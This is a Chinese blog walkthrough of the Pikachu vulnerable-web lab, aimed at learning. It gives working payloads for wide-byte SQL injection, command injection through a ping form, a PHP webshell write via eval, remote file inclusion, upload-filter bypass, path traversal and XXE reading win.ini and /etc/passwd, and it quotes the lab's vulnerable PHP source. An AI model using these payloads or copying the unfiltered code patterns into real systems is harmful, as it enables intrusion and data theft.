  • hunter%df,这一部分中“hunter” 是原始的输入值。“%df” 是 URL 编码的一个字节,在 GBK 等多字节编码中,“%df” 可以作为双字节字符的第二个字节。如果跟在单引号前,它会与单引号拼接成一个合法的双字节字符,从而绕过对单引号的检测和过滤,避免字符串提前结束。
  • ' union select version(),database()#。这里的单引号是为了闭合原本的字符串(在绕过单引号过滤后,原本的单引号没有被真正结束字符串)。union select version(),database():这部分是 UNION 注入,用来拼接另外一个 SELECT 查询,查询结果中 version() 返回数据库版本,database() 返回当前数据库名称。#是注释符

在多字节编码(比如 GBK)下,字符是以两个字节(或者更多字节)组合来表示的。这里的 %df 就是 URL 编码形式的一个字节(十六进制 DF)。详细来说:

  1. 单字节与双字节编码
    在 GBK 等编码中,一个合法的双字节字符通常由两个字节组成,第一个字节和第二个字节都有一定的取值范围。如果你直接输入单引号('),它会被视作字符串的结束符,这通常会导致 SQL 语句结构错误。而攻击者可以利用多字节编码的特性,把一个原本应作为结束符的单引号变成双字节字符的一部分。
  2. %df 与后面的 ' 的组合
    当你输入 %df' 时,浏览器会将 %df 解码成一个字节(0xDF)。在 GBK 编码中,如果前面有一个合法的前导字节,这个 0xDF 就会和那个前导字节组合形成一个合法的双字节字符。
    • 举个例子:假设原输入中存在一个前导字节(可能是由其他字符提供),那么 %df' 中的 %df 和后面的单引号 ' 可能会组合成一个双字节字符,而不再被解释为单独的单引号。
    • 这样一来,本来会导致字符串提前结束的单引号,就被“隐藏”在了一个双字节字符里,从而绕过了过滤或验证机制。
  3. 实际效果
    • 如果直接输入 hunter',单引号会结束原始的字符串,使得 SQL 语法错误出现,从而返回“用户名不存在”的提示。
    • 而输入 hunter%df' 时,%df' 被当作一个合法的双字节字符(或者说把那个单引号掩盖起来),使得整个输入字符串仍然保持完整,从而不会触发 SQL 语法错误,这样注入的部分(例如 UNION 语句)就能正确拼接进查询语句,达到预期的注入效果。

总结一下:
%df' 的作用就是利用多字节编码的特性,将单引号 ' 融入到一个合法的双字节字符中,从而“隐藏”这个单引号,使其不被解析为字符串结束符,达到绕过过滤、闭合字符串的目的。这在宽字节注入(multi-byte injection)中是一个常见技巧。

​ 然后我们就可以继续探测数据表名、字段名、爆库等操作

这里的 table_name 需要输入十六进制的users,因为单引号会被转义

  • 'u' 的 ASCII 值是 117,十六进制为 0x75
  • 's' 的 ASCII 值是 115,十六进制为 0x73
  • 'e' 的 ASCII 值是 101,十六进制为 0x65
  • 'r' 的 ASCII 值是 114,十六进制为 0x72
  • 's' 的 ASCII 值是 115,十六进制为 0x73

RCE

[!NOTE]

Windows系统

  • |:只执行后面的语句。
  • ||:如果前面的语句执行失败,则执行后面的语句
  • &:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
  • &&:如果前面的语句为假,则直接出错,也不执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。

LInux系统

  • ;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其他语句的执行。
  • |:只执行后面的语句。
  • ||:只有前面的语句执行出错时,执行后面的语句
  • &:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
  • &&:如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则不执行后面的语句
1、exec "ping"

​ ping 一个 本地(127.0.0.1)

​ 使用 | 符号执行恶意语句

127.0.0.1 | dir C:

​ 之后就可以通过这个命令执行写入一些webshell,然后反弹连接之类的操作

源码分析:关键部分不做过滤等处理,直接变量拼接到shell执行命令当中

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }
}
2、exec "eval"

​ 输入 phpinfo();

​ 这里同样可以上传shell: fputs(fopen('shell.php', 'w'), '<?php assert($_POST[fin];?>');,执行后,可以看到成功上传一个 shell.php 文件到目标的 rec 目录了,之后使用webshell连接工具

关键源码:可以看出if语句中直接执行了我们输入的 txt 内容,

if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";
    }
}

File Inclusion

1、File Inclusion(local)

​ 观察url中,filename的参数是 file1.php

​ 然后,依次查看其他图片发现 filename 的参数在变化

​ 尝试直接修改参数,改为 file6.php。可以看到发现了一个 secret box!

​ 既然可以通过修改filename参数直接”越权“去访问文件,那么尝试

filename=../../../../index.html

​ 可以看到直接返回了 phpstudy 的 index.html

关键源码:

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     //安全的写法,使用白名单,严格指定包含的文件名
//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include "include/$filename";
//     }
}
2、File Inclusion(remote)

​ 可以看到整个url里面还是filename参数,只不过多了一个include,像之前一样直接尝试修改成file6

​ 然后我们直接filename修改为百度的网址,可以看到页面中出现了百度的主页

​ 也就是说文件包含使得你可以远程访问其他页面了

​ 这样我们可以在自己服务器上写一个木马文件,然后将这里的filename参数修改为我们木马文件的链接,使得远程包含我们的木马文件,然后再连接getshell

关键代码:

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";//变量传进来直接包含,没做任何的安全限制
}

Unsafe Filedownload

​ 抓一个下载头像图片的包查看

​ 通过 request 可以查看到这里的GET 地址有个filename的参数值就是我们请求图片的名称

​ 尝试更改filename的值,比如(这里我们是假设提前知道了这个目录存在这个文件名的)

​ 可以看到这里的response是已经吧index.php文件内容打印出来了,说明下载成功。

Unsafe Fileupload

1、client check

​ 这里提示只允许上传图片,我用php写了个一句话木马,尝试上传,结果显示“上传文件不符合要求,请重新选择”。

​ 那就找个图片上传,抓个包

​ 将filename参数改为php的后缀,并且将post数据内容改为php一句话木马,点击上传

​ 上传成功,之后就可以通过蚁剑、哥斯拉等webshell管理工具连接了

源码分析:前端 JavaScript 检查仅仅在用户浏览器中执行,攻击者可以很容易禁用 JavaScript 或直接构造 HTTP 请求,从而绕过扩展名的校验。

if(isset($_POST['submit'])){
//     var_dump($_FILES);
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_client('uploadfile',$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}
<script>
    function checkFileExt(filename)
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true; //一旦找到合适的,立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag)
        {
            alert("上传的文件不符合要求,请重新选择!");
            location.reload(true);
        }
    }
</script>
2、MIME type

​ 我们这里同样上传一个图片,但是还是把图片的数据包和名称给改了

​ 上传成功

源码分析:可以看到,这里比上一关多了一个mime的数组,该数组指定了上传文件的MIME类型。我们这里是由于直接上传的图片,所以就直接过了,如果上传的其他类型的文件,就需要把 MIME类型修改为图片的

if(isset($_POST['submit'])){
//     var_dump($_FILES);
    $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}
3、getimagesize

​ 还是同样,但是会显示“上传文件的后缀名不能为空,且必须是jpg,jpeg,png中的一个”

​ 之后将filename改为之前的图片后缀“1.png”,post数据内容不改,Send,显示“你上传的是个假图片,不要欺骗我!”,说明对数据内容进行校验了,但是不确定有没有校验恶意代码,尝试重新抓一个上传包,在数据最后加一行phpinfo()代码

​ 成功上传

源码分析:

if(isset($_POST['submit'])){
    $type=array('jpg','jpeg','png');//指定类型
    $mime=array('image/jpg','image/jpeg','image/png');
    $save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
    $upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";

    }
}

Over Permission

1、水平越权

​ 先登陆进去,看到按钮”点击查看个人信息“,点击的时候抓个包。

​ 可以看到返回包是 lucy 的个人信息

​ 把GET提交的username参数修改为 lili,直接就能看到 lili 的个人信息

2、垂直越权

​ 先用 pikachu 普通用户登录,可以看到用户列表,但是只有查看权限。(此时为op2_user.php)

​ 再用admin登录,可以看到多了增删查功能。(此时为op2_admin.php)

​ 这里有两种越权方式

  • 第一种

​ 先进 pikachu 普通用户页面,然后直接修改url为********/pikachu/vul/overpermission/op2/op2_admin_edit.php,可以直接进入到添加用户页面

  • 第二种

​ 用 admin 用户权限添加一个新用户,并且抓包,将之前 pikachu 用户的普通 cookie 替换到这个 admin 的cookie,然后forward。

​ 就相当于实现了用普通用户进入了 添加用户 页面

../../

1、目录遍历

​ 点击其中一个链接,可以看到url后面变成了dir_list.php?title=jarheads.php,修改title参数的值

​ 改为:title=../../../../../../windows/win.ini

敏感信息泄露

1、IcanseeyourABC

​ 直接查看网页源码就发现注释里面泄露了账号密码:1111/123456

​ 还有其他的方式,比如目录扫描等,都可以检测出来敏感信息或者目录

PHP反序列化

1、PHP反序列化漏洞

​ 在概述里,给了个xss的payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

​ 也就是说,我们是将自己的恶意代码序列化之后发送给后端,后端直接将序列化数据给反序列化

源码分析(关键部分):

if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}
?>

XXE

1、XXE漏洞

​ XXE(XML External Entity)漏洞的核心在于利用 XML 支持外部实体(External Entity)定义的机制,让服务器解析并访问攻击者指定的文件或资源。

​ 结合XML数据格式,简单构造一个读取windows文件的payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<a>&xxe;</a>

源码分析:可以看到源码里面有提示了一些测试用的payload,可以尝试。simplexml_load_string() 是一个 PHP 内置函数,用于将 XML 字符串解析为一个对象。LIBXML_NOENT 非常关键!它允许外部实体(XXE)在解析过程中被替换。

//payload,url编码一下:
$xxepayload1 = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;

$xxetest = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>
EOF;

//$xxedata = simplexml_load_string($xxetest,'SimpleXMLElement');
//print_r($xxedata);


//查看当前LIBXML的版本
//print_r(LIBXML_VERSION);

$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){
    $xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
    	// 直接将解析出来的 $data 对象打印出来。
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

URL重定向

1、不安全的URL跳转

​ 查看网页源码,可以看到后面俩href属性的值不一样了,第三个返回了unsafere.php页面,而最后一个返回了url=i的页面。也就是说,url这个参数控制了页面跳转方向

​ 构造payload:url=https://www.baidu.com,就直接跳转到百度了

​ 所以我们可以将url参数修改成我们自己的钓鱼页面

SSRF

1、SSRF(curl)

​ 点击之后,确实跳转到一个页面,出现了一首诗。重点在于url

​ url参数定向到了info1.php文件,所以这里其实是用户通过点击这个href,使服务器请求了info1.php文件。

​ 那么我们可以修改url参数,让服务器访问恶意文件,比如:

2、SSRF(file_get_content)
posted @ 2025-03-31 00:16  酷比灯  阅读(829)  评论(0)    收藏  举报